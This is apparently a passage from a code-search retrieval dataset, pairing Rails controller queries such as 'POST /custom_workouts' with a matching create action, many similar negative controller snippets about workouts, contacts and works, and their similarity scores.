notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to contacts_url, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @casa_org.destroy\n respond_to do |format|\n format.html { redirect_to casa_orgs_url, notice: 'CASA org was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact.destroy\n respond_to do |format|\n format.html { redirect_to after_destroy_path, notice: 'Contact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contact_type.destroy\n respond_to do |format|\n format.html { redirect_to contact_types_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.74541485", "0.74085736", "0.73642683", "0.7354198", "0.73501456", "0.72563696", "0.72458166", "0.7237542", "0.718799", "0.71708286", "0.716746", "0.71490717", "0.71466285", "0.71466285", "0.71466285", "0.71424", "0.7129058", "0.7111794", "0.706215", "0.70514125", "0.70479786", "0.70479786", "0.70479786", "0.70479786", "0.70476645", "0.7043725", "0.7040126", "0.69980836", "0.6998006", "0.69973963", "0.6990579", "0.6985907", "0.6982458", "0.6981273", "0.6969539", "0.6948369", "0.6946669", "0.69343", "0.6932166", "0.6931522", "0.69143456", "0.6905949", "0.6905949", "0.6905133", "0.6901132", "0.6883935", "0.6883581", "0.68833226", "0.68827397", "0.6882264", "0.68821204", "0.68749917", "0.68685573", "0.68685573", "0.68685573", "0.68635756", "0.6851287", "0.68497205", "0.68467015", "0.6844855", "0.6833727", "0.6832218", "0.6829469", "0.6829469", "0.6829469", "0.6829469", "0.6823719", "0.68224573", "0.68203056", "0.68164355", "0.6814453", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6810763", "0.6805302", "0.67951673", "0.6787548", "0.67808425" ]
0.0
-1
POST /custom_workouts POST /custom_workouts.json
def create @custom_workout = @user.custom_workouts.new(params[:custom_workout]) respond_to do |format| if @custom_workout.save # TODO need to get a specific month in there . . . format.html { redirect_to my_fit_wit_fit_wit_workout_progress_path(month: params[:month]), notice: 'Custom workout was successfully created.' } format.json { render json: @custom_workout, status: :created, location: @custom_workout } else format.html { render controller: "my_fit_wit", action: "add_custom_workout" } format.json { render json: @custom_workout.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @myworkout = Myworkout.new(params[:myworkout])\n\n respond_to do |format|\n if @myworkout.save\n format.html { redirect_to @myworkout, :notice => 'Myworkout was successfully created.' }\n format.json { render :json => @myworkout, :status => :created, :location => @myworkout }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @myworkout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @workout = current_user.workouts.new(workout_params)\n\n respond_to do |format|\n if @workout.save\n format.html { redirect_to root_path(date: I18n.l(@workout.date)), notice: t('flash_message.notice.successfully_created', model: Workout.model_name.human) }\n format.json { render action: 'show', status: :created, location: @workout }\n else\n format.html { render action: 'new' }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # debugger\n # TODO: Clean up this params mess and make sure workouts#update allows multiple lift edit\n # TODO: Editing workouts should allow you to update workouts\n # TODO: Switch times to local time\n # set_workout_date(params)\n # remove_workout_time(params)\n # set_lift_ids(params)\n\n # user selects lift\n # JavaScript then uses lift name and gets lift ID\n # from JSON\n # send lift ID over to controller\n # http://railscasts.com/episodes/258-token-fields-revised?\n @workout = current_user.workouts.build(params[:workout])\n\n respond_to do |format|\n if @workout.save\n flash[:success] = \"Workout created\"\n format.html { redirect_to workouts_path, notice: \"Workout was successfully created.\" }\n format.json { render json: @workout, status: :created, location: @workout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_workout = UserWorkout.new(user_workout_params)\n @user_workout.user_id = current_user.id\n\n respond_to do |format|\n if @user_workout.save\n current_user.userworkouts << @user_workout\n format.html { redirect_to @user_workout, notice: 'User workout was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_workout }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout = Workout.new(workout_params)\n @workout.user = current_user\n\n respond_to do |format|\n if @workout.save\n format.html { redirect_to @workout, notice: \"Workout was successfully created.\" }\n format.json { render :show, status: :created, location: @workout }\n \n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout = current_user.workouts.new(workout_params)\n\n if @workout.save\n redirect_to @workout\n else\n render :new\n end\n end", "def create\n @workout = Workout.new(params[:workout])\n\n respond_to do |format|\n if @workout.save\n flash[:alert] = 'Workout was successfully created.'\n format.html { redirect_to @workout}\n format.json { render json: @workout, status: :created, location: @workout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout_set = WorkoutSet.new(workout_set_params)\n\n respond_to do |format|\n if @workout_set.save\n format.html { redirect_to @workout_set, notice: 'Workout set was successfully created.' }\n format.json { render :show, status: :created, location: @workout_set }\n else\n format.html { render :new }\n format.json { render json: @workout_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout = current_user.workouts.build(workout_params)\n if @workout.save\n flash[:notice] = \"Workout was successfully created\"\n redirect_to root_path\n else\n render 'new'\n end\n end", "def new\n #@workout = Workout.new\n @workout = current_user.workouts.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "def create\n @workout = Workout.new(name: params[:name], steps: params[:steps], description: params[:description], time: params[:time], image_url: params[:image_url], video_url: params[:video_url], running: params[:running], weightlifting: params[:weightlifting], swimming: params[:swimming], circuit_training: params[:circuit_training], cycling: params[:cycling], creator_id: current_athlete.id, workout_creator: current_athlete.username)\n\n if @workout.save\n AthleteWorkout.create(workout_id: @workout.id, athlete_id: current_athlete.id)\n render 'create.json.jbuilder', status: :created\n else\n render json: { errors: @athlete.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def create\n @clientworkout = Clientworkout.new(clientworkout_params)\n\n respond_to do |format|\n if @clientworkout.save\n format.html { redirect_to @clientworkout, notice: 'Clientworkout was successfully created.' }\n format.json { render :show, status: :created, location: @clientworkout }\n else\n format.html { render :new }\n format.json { render json: @clientworkout.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @custom_workout = @user.custom_workouts.find(params[:id])\n\n respond_to do |format|\n if @custom_workout.update_attributes(params[:custom_workout])\n format.html { redirect_to my_fit_wit_fit_wit_workout_progress_path(month: params[:month]), notice: 'Custom workout was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render controller: \"my_fit_wit\", action: \"show_custom_workout\" }\n format.json { render json: @custom_workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @client_workout = ClientWorkout.new(params[:client_workout])\n\n respond_to do |format|\n if @client_workout.save\n format.html { redirect_to @client_workout, notice: 'Client workout was successfully created.' }\n format.json { render json: @client_workout, status: :created, location: @client_workout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client_workout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gym_workout = GymWorkout.new(params[:gym_workout])\n\n respond_to do |format|\n if @gym_workout.save\n format.html { redirect_to @gym_workout, :notice => 'Gym workout was successfully created.' }\n format.json { render :json => @gym_workout, :status => :created, :location => @gym_workout }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @gym_workout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @workout = Workout.new(workout_params)\n if user_signed_in?\n @workout.owner = current_user\n @workout.users << current_user\n else\n @workout.owner = temp_user\n session[:workout_id] = @workout.id\n end \n @workout.save\n ex_params = exercise_params[:exercise].map do |e|\n e[:dur] = e[:dur][:minutes].to_i*60 + e[:dur][:seconds].to_i\n e[:workout_id] = @workout.id\n e\n end\n @exercises = @workout.exercises.create(ex_params)\n\n respond_to do |format|\n if @workout.save\n format.html { redirect_to @workout, notice: \"Workout was successfully created\" }\n format.json { render json: {workoutId: @workout.id}, status: 200 }\n else\n format.html { render :new }\n format.json { render json: @workout.errors, status: 500 }\n end\n end\n end", "def create\n @workout_set = WorkoutSet.new(params[:workout_set])\n @workout_set.user_id = current_user.id\n\n respond_to do |format|\n if @workout_set.save\n format.html { redirect_to @workout_set, notice: 'Workout set was successfully created.' }\n format.json { render json: @workout_set, status: :created, location: @workout_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workout_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout = Workout.new(workout_params)\n @workout.user = current_user!\n if @workout.save\n redirect_to workout_path(@workout),\n notice: t('.success')\n else\n render :new\n end\n end", "def addWorkout\n\n\t\tif params[:trained_on]\n\t\t@start_date = Time.zone.parse(params[:trained_on]).strftime(\"%Y-%m-%d\")\n\t\telse\n\t\t@start_date = Time.zone.now.strftime(\"%Y-%m-%d\")\n\t\tparams[:trained_on]=@start_date\n\t\tend\n\n\t\t#for calories field data\n\t\tif !params[:duration1].nil? && !params[:time_from1].nil? && !params[:duration1].empty? && !params[:time_from1].empty?\n\t\tparams[:duration]=params[:duration1]\n\t\tparams[:time_from]=params[:time_from1]\n\t\tend\n\n\t\tif params[:calories].nil? || params[:calories]==\"\"\n\t\t@workout = Workout.create(:user_id=>params[:userid], :trained_on=>@start_date,:time_from=>params[:time_from])\n\t\t@w=WorkoutItem.create(:workout_id=>@workout.id,:exercise_id=>params[:exercise_id],:duration=>params[:duration].delete(\" \"),:user_id=>params[:userid])\n\n\t\telse\n\t\tparams[:exercise_id]=809\t#this is custom calories execersise id\n\t\t#for activity entry by calories\n\t\t@workout = Workout.create(:user_id=>params[:userid],:trained_on=>@start_date,:time_from=>params[:time_from],:note=>params[:note])\n\t\t@w=WorkoutItem.create(:workout_id=>@workout.id,:exercise_id=>params[:exercise_id],:duration=>params[:duration].delete(\" \"),:calories=>params[:calories],:user_id=>params[:userid])\n\t\tend\n\n\t\tif @workout && @w\n\t\t@status={\"status-msg\"=>\"success\"}\n\t\telse \n\t\t@status={\"status-msg\"=>\"not created\"}\n\t\tend\n\t\trender :json =>@status.to_json\n\t\tend", "def new\n @myworkout = Myworkout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @myworkout }\n end\n end", "def index\n workouts = @ws.workouts\n render json: workouts\n end", "def index_create\n @workouts = Workout.where(creator_id: current_athlete.id)\n render 'index_create.json.jbuilder', status: :created\n end", "def index\n @workouts = Workout.all \n render 'index.json.jbuilder', status: :created\n end", "def create\n @workout_activity = WorkoutActivity.new(params[:workout_activity])\n\n respond_to do |format|\n if @workout_activity.save\n format.html { redirect_to @workout_activity, notice: 'Workout activity was successfully created.' }\n format.json { render json: @workout_activity, status: :created, location: @workout_activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workout_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @workouts = Workout.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workouts }\n end\n end", "def workout_params\n params.require(:workout).permit(:title, :duration, :rest, :interval, :sets, :cooldown, :exercises)\n end", "def create\n workout = Workout.find params[:workout_id]\n result = Question.create(workout, { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n @question = result[:question]\n\n respond_to do |format|\n unless @question.persisted?\n format.json { render :json => @question.errors.full_messages, :status => :unprocessable_entity }\n else\n format.json { render :json => @question.as_json({:include => :answers}) }\n end\n \n end\n\n end", "def workout_params\n params.require(:workout).permit(:name, :scrambled, :exercise_ids,\n :description, :target_group, :points_multiplier, :opening_date, :exercise_workout,\n :exercise_workouts_attributes, :workout_offerings_attributes,\n :soft_deadline, :hard_deadline)\n end", "def index\n @journal = Journal.find(params[:journal_id])\n\n render json: @journal.workouts\n end", "def new\n @workout = current_user.workouts.build\n end", "def create\n @client_workout = ClientWorkout.new(params[:client_workout])\n\n respond_to do |format|\n if @client_workout.save\n flash[:notice] = 'ClientWorkout was successfully created.'\n format.html { redirect_to(@client_workout) }\n format.xml { render :xml => @client_workout, :status => :created, :location => @client_workout }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client_workout.errors, :status => :unprocessable_entity }\n end\n end\n end", "def workout_params\n params.require(:workout).permit(:name)\n end", "def save\n @workout = Workout.new(params[:workout])\n #@workout.user_profile_id = self.current_user.id\n if @workout.save\n redirect_to \"/myworkouts/#{@workout.id}\"\n else\n render :action => 'checkin' #{@workout.id}\"\n end\n end", "def new\n @workout_set = WorkoutSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout_set }\n end\n end", "def workout_params\n params.require(:workout).permit(:user, :title, :duration, :calories, :note)\n end", "def index\n @user_workouts = UserWorkout.all\n end", "def workout_params\n params.require(:workout).permit(:name, :private, :rounds)\n end", "def create\n @work = Work.new(params[:work].except(:extra_keys, :extra_values))\n @work.extra = process_extra if params[:extra_keys]\n \n current_dataset.works << @work\n \n Work.create_locations(@work) if @work.places\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def workout_params\n params.require(:workout).permit(:title, :description, :duration_mins, :is_private, :influencer_id)\n end", "def workout_params\n params.require(:workout).permit(:name, :comments_state, :user_id)\n end", "def workout_params\n params.require(:workout).permit(:name, :description, :video_url, :notes)\n end", "def create\n @workout_unit = WorkoutUnit.new(workout_unit_params)\n @workout_unit.user_id = current_user.id\n respond_to do |format|\n if @workout_unit.save\n format.html { redirect_to @workout_unit, notice: 'Workout unit was successfully created.' }\n format.json { \n render :json => @workout_unit.as_json(:include => :workout_unit_type), action: 'show', status: :created, location: @workout_unit \n }\n else\n format.html { render action: 'new' }\n format.json { render json: @workout_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "def user_workout_params\n params.require(:user_workout).permit(:user_id, :workout_id)\n end", "def workout_params\n\t\tparams.require( :workout ).permit( :workout_type, :title, :description )\n\tend", "def set_workout\n @workout = current_user.workouts.find(params[:id])\n end", "def set_workout\n @workout = current_user.workouts.find(params[:id])\n end", "def user_workout_params\n params.require(:user_workout).permit(:title, :type, :user_id)\n end", "def destroy\n @custom_workout = @user.custom_workouts.find(params[:id])\n @custom_workout.destroy\n\n respond_to do |format|\n flash[:notice] = \"Successfully removed your workout.\"\n format.html { redirect_to my_fit_wit_fit_wit_workout_progress_path(month: params[:month]) }\n format.json { head :ok }\n end\n end", "def index\n if params[:workpoint_id]\n @outs = Workpoint.find(params[:workpoint_id]).outs\n else\n @outs = Out.all\n end\n respond_to do |format|\n format.json {\n render :json => @outs, :layout => false\n }\n end\n end", "def index\n @clientworkouts = Clientworkout.all\n end", "def create\n @workout_logging = WorkoutLogging.new(workout_logging_params)\n\n respond_to do |format|\n if @workout_logging.save\n format.html { redirect_to @workout_logging, notice: 'Workout logging was successfully created.' }\n format.json { render :show, status: :created, location: @workout_logging }\n else\n format.html { render :new }\n format.json { render json: @workout_logging.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout_routine = WorkoutRoutine.new(workout_routine_params)\n\n respond_to do |format|\n if @workout_routine.save\n format.html { redirect_to @workout_routine, notice: 'Workout routine was successfully created.' }\n format.json { render :show, status: :created, location: @workout_routine }\n else\n format.html { render :new }\n format.json { render json: @workout_routine.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to action: 'index', flash: {notice: 'Work item was successfully created.' }}\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @workouts = Workout.all\n end", "def workout_params\n params.require(:workout).permit(:title, :description, :intensity, :duration, :category, :id, :users, :sets)\n end", "def create\n @workout_day = WorkoutDay.new(params[:workout_day])\n @workout_day.user_id = current_user.id\n\n respond_to do |format|\n if @workout_day.save\n format.html { redirect_to @workout_day, notice: 'Workout day was successfully created.' }\n format.json { render json: @workout_day, status: :created, location: @workout_day }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workout_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def workout_params\n params.require(:workout).permit(:title, :exercise, :image_url, :content, :date, :set_count, :rep_count, :duration, :weight_count, :user_id)\n end", "def exercises_workout_params\n params.require(:exercises_workouts).permit(:exercise_id, :workout_id)\n end", "def new\n if params[:date]\n @workout = current_user.workouts.build(:workout_date => params[:date])\n else\n @workout = current_user.workouts.build\n end\n @exercise = @workout.exercises.build\n @exercise.exercise_sets.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout }\n end\n end", "def index\n @workouts = current_user.workouts\n end", "def new\n @client_workout = ClientWorkout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_workout }\n end\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def new\n @workout_activity = WorkoutActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout_activity }\n end\n end", "def create\n @creator.works << Work.where(id: work_ids)\n if @creator.save\n render json: @creator, status: :created, location: @creator\n else\n render json: @creator.errors, status: :unprocessable_entity\n end\n end", "def create\n @workout_category = WorkoutCategory.new(workout_category_params)\n\n respond_to do |format|\n if @workout_category.save\n format.html { redirect_to @workout_category, notice: 'Workout category was successfully created.' }\n format.json { render :show, status: :created, location: @workout_category }\n else\n format.html { render :new }\n format.json { render json: @workout_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def workout_params\n params.require(:workout).permit(:time, :date, :type)\n end", "def add_favorite_workout\n Workout.favorite_workouts << @workout if params[:workout_id].present?\n redirect_to root_path\n end", "def create\n @worksession = parse_worksessions\n respond_to do |format|\n if !@worksession.nil? and @worksession.save\n format.html { redirect_to user_worksessions_path(current_user.id), notice: 'Worksession was successfully created.' }\n format.json { render :show, status: :created, location: @worksession }\n else\n @worksession = Worksession.new\n format.html { render :new }\n format.json { render json: @worksession.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout_record = WorkoutRecord.new params[:workout_record]\n @workout_record.time = params[:time]\n if @workout_record.save\n current_user.workout_records << @workout_record\n current_user.events << @workout_record.event\n current_user.personal_records << PersonalRecord.get_record_for(current_user.id,@workout_record.workout_id)\n redirect_to :action => 'show', :id => @workout_record.id\n else\n flash[:error] = 'There was a problem saving your workout record'\n flash[:errors] = @workout_record.errors\n redirect_to :action => 'new'\n end\n end", "def workout_params\n params.require(:workout).permit(:datetime, :duration, :sport, :comment, :where)\n end", "def create\n wt = params[:workoutsession].delete(:workout_type)\n @workoutsession = Workoutsession.new(params[:workoutsession])\n @workoutsession.workout_type_id = wt\n\n respond_to do |format|\n if @workoutsession.save\n format.html { redirect_to(@workoutsession, :notice => 'Workoutsession was successfully created.') }\n format.xml { render :xml => @workoutsession, :status => :created, :location => @workoutsession }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @workoutsession.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @shoutout = Shoutout.new(create_params)\n if @shoutout.save\n render json: @shoutout, status: 201, location: api_v1_shoutout_path(@shoutout.id)\n else\n render json: { error: \"Application error\", status: 400 }, status: 400\n end\n end", "def create\n @howitwork = Howitwork.new(howitwork_params)\n\n respond_to do |format|\n if @howitwork.save\n format.html { redirect_to admin_howitwork_url(@howitwork), notice: 'Howitwork was successfully created.' }\n format.json { render :show, status: :created, location: @howitwork }\n else\n format.html { render :new }\n format.json { render json: @howitwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def workout_params\n params.require(:workout).permit(:name,\n :entries => [:id, :length])\n end", "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @my_posted_homework = MyPostedHomework.new(params[:my_posted_homework])\n\n respond_to do |format|\n if @my_posted_homework.save\n format.html { redirect_to @my_posted_homework, notice: 'My posted homework was successfully created.' }\n format.json { render json: @my_posted_homework, status: :created, location: @my_posted_homework }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_posted_homework.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n return redirect_back(fallback_location: root_path, alert: \"Shift Start/Finish Can not be Empty\") if shift_params[:start].blank? || shift_params[:finish].blank?\n @shift = Shift.new(shift_params)\n @shift.shift_breaks.build(break_params)\n respond_to do |format|\n if @shift.save\n format.html { redirect_to shifts_path, notice: \"Shift was successfully created.\" }\n format.json { render :show, status: :created, location: @shift }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @shift.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workout_date = WorkoutDate.new(params[:workout_date])\n @workout_date.n ||= WorkoutDate.next_free_n(@workout_date.workout_id)\n\n respond_to do |format|\n if @workout_date.save\n format.html { redirect_to(@workout_date, :notice => 'Workout date was successfully created.') }\n format.xml { render :xml => @workout_date, :status => :created, :location => @workout_date }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @workout_date.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @myworkout = Myworkout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @myworkout }\n end\n end", "def create\n @work = Work.new(work_params)\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(work_params)\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.work'))\n if @patron\n @patron.works << @work\n end\n format.html { redirect_to @work }\n format.json { render :json => @work, :status => :created, :location => @work }\n else\n prepare_options\n format.html { render :action => \"new\" }\n format.json { render :json => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @model_workout_sheet = ModelWorkoutSheet.new(model_workout_sheet_params)\n\n respond_to do |format|\n if @model_workout_sheet.save\n format.html { redirect_to @model_workout_sheet, notice: 'Model workout sheet was successfully created.' }\n format.json { render action: 'show', status: :created, location: @model_workout_sheet }\n else\n format.html { render action: 'new' }\n format.json { render json: @model_workout_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @workout_day = WorkoutDay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @workout_day }\n end\n end", "def create\n @upwork = Upwork.new(upwork_params)\n\n respond_to do |format|\n if @upwork.save\n format.html { redirect_to @upwork, notice: 'Upwork was successfully created.' }\n format.json { render :show, status: :created, location: @upwork }\n else\n format.html { render :new }\n format.json { render json: @upwork.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work = Work.new(work_params)\n \n respond_to do |format|\n if @work.save\n format.html { redirect_to works_path, notice: 'Work item was successfully created!'}\n else\n format.html { render :new }\n end\n end\n end", "def create\n @team = Team.find(params[:team_id])\n @workout = @team.workouts.find(params[:workout_id])\n @practice = @workout.practices.new(params[:practice])\n @practice.team = @team\n\n respond_to do |format|\n if @practice.save\n format.html { redirect_to team_workout_practices_path(@team, @workout), notice: 'Practice was successfully created.' }\n format.json { render json: @practice, status: :created, location: @practice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @practice.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def set_workout\n @workout = Workout.find(params[:id])\n end", "def create\n @workobject = Workobject.new(params[:workobject])\n\n respond_to do |format|\n if @workobject.save\n format.html { redirect_to @workobject, notice: 'Workobject was successfully created.' }\n format.json { render json: @workobject, status: :created, location: @workobject }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workobject.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @work_entry = WorkEntry.new(duration_to_minutes(params[:work_entry]))\n\n respond_to do |format|\n if @work_entry.save\n format.html { redirect_to @work_entry, notice: 'Work entry was successfully created.' }\n format.json { render json: @work_entry, status: :created, location: @work_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @stages_work = StagesWork.new(params[:stages_work])\r\n\r\n respond_to do |format|\r\n if @stages_work.save\r\n format.html { redirect_to @stages_work, notice: 'Stages work was successfully created.' }\r\n format.json { render json: @stages_work, status: :created, location: @stages_work }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @stages_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\r\n @work = Work.new(work_params)\r\n\r\n respond_to do |format|\r\n if @work.save\r\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\r\n format.json { render action: 'index', status: :created, location: @work }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end" ]
[ "0.72388965", "0.71684486", "0.71378744", "0.7121771", "0.6923282", "0.687507", "0.6815009", "0.66730154", "0.66602457", "0.66234684", "0.64854676", "0.64649713", "0.6462331", "0.6438944", "0.6381386", "0.6379294", "0.6376214", "0.63250685", "0.6314911", "0.62957966", "0.6261002", "0.62480783", "0.6230365", "0.622832", "0.6140701", "0.61405665", "0.6121915", "0.6100949", "0.60877156", "0.60858893", "0.6073384", "0.60610855", "0.60454893", "0.6040362", "0.6031582", "0.59939396", "0.597047", "0.5969349", "0.595186", "0.59471655", "0.5942724", "0.5942308", "0.5922654", "0.59215707", "0.59088993", "0.59088993", "0.59004885", "0.5895633", "0.5885326", "0.588285", "0.5873268", "0.58706033", "0.5867765", "0.585411", "0.5850169", "0.5834286", "0.5832176", "0.58211523", "0.5814329", "0.5803367", "0.5797173", "0.5786149", "0.5786149", "0.5786149", "0.5781281", "0.57776535", "0.57716054", "0.57673955", "0.575566", "0.5748601", "0.57389486", "0.5734942", "0.5721928", "0.5716557", "0.57092154", "0.57033867", "0.5693135", "0.5693135", "0.56877106", "0.5658064", "0.56408006", "0.5636307", "0.56288713", "0.56288713", "0.5628828", "0.5628745", "0.5611609", "0.5604744", "0.559563", "0.55925584", "0.55891234", "0.55891234", "0.55891234", "0.55891234", "0.55891234", "0.55891234", "0.5585619", "0.55680346", "0.5560717", "0.55489206" ]
0.7617296
0
PUT /custom_workouts/1 PUT /custom_workouts/1.json
